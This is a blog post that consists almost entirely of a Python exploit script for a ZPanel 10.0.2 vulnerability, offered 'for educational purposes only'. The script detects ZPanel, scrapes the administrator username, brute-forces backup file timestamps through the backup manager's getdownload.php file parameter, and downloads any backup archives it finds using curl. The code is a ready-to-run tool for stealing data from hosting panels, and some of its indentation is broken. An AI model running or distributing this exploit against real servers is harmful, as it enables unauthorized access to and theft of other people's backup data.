Tuesday, August 6, 2013

Exploit for vulnerabilities in ZPanel 10.0.2 (Based on previous post)

This exploit is for educational purposes only!














#!/usr/bin/python
#####################################################################################################################
# Zpanel / Exploit LFI And Get Backup Files
# For educational purposes only 
# Exploit Author: Petros Andreou
# Tested on: Linux & Mac, Python 2.7.3
# "requests" module is REQUIRED
# Website: www.petrosandreou.com
# Email: petros.andreou88[at]gmail[dot]com
# Twitter: @andreoupetros
# ***Only Linux targets are supported***
# Works on UNIX Systems
# ------------------------------------------------------------------------------------------------------------------
# Usage Example: python getbackup.py --url http://example.com --username zadmin --day 09 --month 10 --year 2013
# OPTIONS:
# -u --url  Target Host
# -d --day  Day (Leave it empty for today) e.g. 04  *Optional
# -m --month  Month (Leave it empty for current Month) e.g. 1 for January, 11 for November  *Optional
# -y --year  Year (Leave it empty for current Year) e.g. 2013  *Optional
# -n --username Username (Leave it empty for Auto-Detection)  *Optional
# ------------------------------------------------------------------------------------------------------------------
# (c) 2013
#####################################################################################################################

import os
import signal
import sys
import urllib2
import re
import getopt
import datetime
try:
 import requests
except ImportError, e:
 print "%s\nTry to install 'requests' Module with command: pip install requests" %e
 sys.exit(0) 

#Set colors for the output
class bcolors:
 ec = '\033[0m'
 red = '\033[91m'
 green = '\033[92m'
 blue = '\033[94m'
 yellow = '\033[93m'
 
 def disable(self):
  self.ec = ''
  self.red = ''
  self.green = ''
  self.blue = ''
  self.yellow = ''
        
#Function signal handler
def signal_handler(signal, frame):
        sys.exit(0)

#Function for query at the end of download
def query_yes_no(question, default="Y"):

    valid = {"Y":True, "y":True, "N":False, "n":False}
    prompt = " [Y/n] "

    while True:
        sys.stdout.write(question + prompt)
        choice = raw_input().lower()
        if default is not None and choice == '':
            return valid[default]
        elif choice in valid:
            return valid[choice]
        else:
            sys.stdout.write("Please respond with 'Y' or 'N' \n")

signal.signal(signal.SIGINT, signal_handler)
signal.pause


from datetime import date
months = {1:"Jan",2:"Feb",3:"Mar",4:"Apr",5:"May",6:"Jun",7:"Jul",8:"Aug",9:"Sep",10:"Oct",11:"Nov",12:"Dec"}
current_month = date.today().month
today = datetime.datetime.now().strftime("%d")
current_year = date.today().year


#Script infos
infos = "Copyright (c) 2013 Petros Andreou http://www.petrosandreou.com\n"\
  "----------------------------------------------------------------------------------------------------------------\n"\
  "Usage Example: python getbackup.py --url http://example.com --username zadmin --day 09 --month 10 --year 2013\n"\
  "OPTIONS:\n"\
  "  -u --url  Target Host\n"\
  "  -n --username Username (Leave it empty for Auto-Detection) "+bcolors.blue+"*Optional\n"+bcolors.ec+\
  "  -d --day  Day (Leave it empty for today) "+bcolors.yellow+"e.g. 01"+bcolors.blue+"  *Optional\n"+bcolors.ec+\
  "  -m --month  Month (Leave it empty for current Month) "+bcolors.yellow+"e.g. 1 for January, 11 for November"+bcolors.blue+"  *Optional\n"+bcolors.ec+\
  "  -y --year  Year (Leave it empty for current Year) "+bcolors.yellow+"e.g. 2013"+bcolors.blue+"  *Optional\n"+bcolors.ec+\
  "----------------------------------------------------------------------------------------------------------------\n"\

cont_yes = set(['Y','y'])
cont_no = set(['N','n'])

url = ''
day = today
month = str(months[current_month])
year = str(current_year)
adm_name = ''

#Arguments
try:
  opts, args = getopt.getopt(sys.argv[1:],"hu:d:m:y:n:",["url=","day=","month=","year=","username="])
except getopt.GetoptError as e:
  print (str(e))
  print infos
  sys.exit(2)
for opt, arg in opts:
  if opt == '-h':
  print infos
  sys.exit(0)
  elif opt in ("-u", "--url"):
  url = arg
  elif opt in ("-d", "--day"):
  day = arg
  elif opt in ("-m", "--month"):
   try:
    month = months[int(arg)]
   except ValueError, e:
    print bcolors.red+"+ERROR: Invalid Month "+bcolors.yellow+month+bcolors.ec
    print infos
    sys.exit(0)
  elif opt in ("-y", "--year"):
  year = arg
  elif opt in ("-n", "--username"):
  adm_name = arg

#Check if url arg is ok
if len(sys.argv) == 1:
 print infos
 sys.exit(2)

#Check Target URL
if url:
 from urllib2 import *
 req = Request(url)
 try: 
  reponse = urlopen(req)
 except ValueError, e:
  print bcolors.red+"+ERROR: %s"%e+bcolors.ec
  print infos
  sys.exit(0)
 except URLError, e:
  print bcolors.red+"+ERROR: %s"%e+bcolors.ec
  print infos
  sys.exit(0)
 except HTTPError, e:
  print bcolors.red+"+ERROR: %s"%e+bcolors.ec
  sys.exit(0)

 if requests.head(url+"/bin/daemon.php").status_code == 404:
  print bcolors.red+"+ERROR: This server does not run Zpanel"+bcolors.ec
  sys.exit(0)
else:
 print bcolors.red+"+ERROR: Target URL is required"+bcolors.ec
 print infos
 sys.exit(0)
  
#Check if is vulnerable
vuln_file = url+"/modules/backupmgr/code/getdownload.php"
vuln = requests.head(vuln_file)
if vuln.status_code != 200:
 print bcolors.red+"Zpanel is not Vulnerable "+bcolors.ec
 sys.exit(0)

try:
 tday = int(day)
 if tday not in range(1, 32):
  print bcolors.red+"+ERROR: Invalid Day "+bcolors.yellow+day+bcolors.ec
  print infos
  sys.exit(0)
except ValueError, e:
 print bcolors.red+"+ERROR: Invalid Day "+bcolors.yellow+day+bcolors.ec
 print infos
 sys.exit(0)

# Get the Administrator username
if not adm_name:
 html_content = urllib2.urlopen(url+'/bin/daemon.php').read()
 matches = re.search(r'\"(.+?)\"',html_content)
 if not matches or len(matches.group()) == 0: 
    print bcolors.red+"+ERROR: Username not found\n"+bcolors.yellow+" Try to add --username (-n) option to specify the username."+bcolors.ec
    sys.exit(0)
 else:
  adm_name = matches.group().strip('\"')
print bcolors.yellow +"**********************************************\n"\
  "    Exploit Author: Petros Andreou\n"\
  "    ------------------------------\n"\
  "    Zpanel is Vulnerable to LFI\n"\
  "    Target URL: "+url+"\n"\
  "    Administrator Username:  \"" + bcolors.red + adm_name + bcolors.ec + bcolors.yellow + "\"\n"\
  "**********************************************\n"+ bcolors.ec

#FIRE   
for i in range(0, 3):
 for j in range(0, 10):
  for g in range(0, 6):
   for z in range(0, 10):
    for q in range(0, 6):
     for s in range(0, 10):
      time = "%d%d%d%d%d%d" % (i,j,g,z,q,s)
      if time == "240000":
       print "Try again with different values"
       sys.exit(0)
      else:
       Url = url+"/modules/backupmgr/code/getdownload.php?file=/var/zpanel/hostdata/"+adm_name+"/backups/"
       ofile = adm_name+"_"+month+"-"+day+"-"+year+"_"+time
       ufile = Url+ofile+".zip"
       print bcolors.green + "Check for "+ofile+".zip file..." + bcolors.ec
       r = requests.head(ufile)
       if r.status_code == 200 and r.headers["Content-Type"] == "application/zip":
        print "\n"+bcolors.red
        os.system("curl -O "+ufile)
        print bcolors.ec
        if query_yes_no("\nDo you want to continue for more files?") != True:
         break
        
     else:
      continue
     break
    else:
     continue
    break  
   else:
    continue
   break
  else:
   continue
  break
 else:
  continue
 break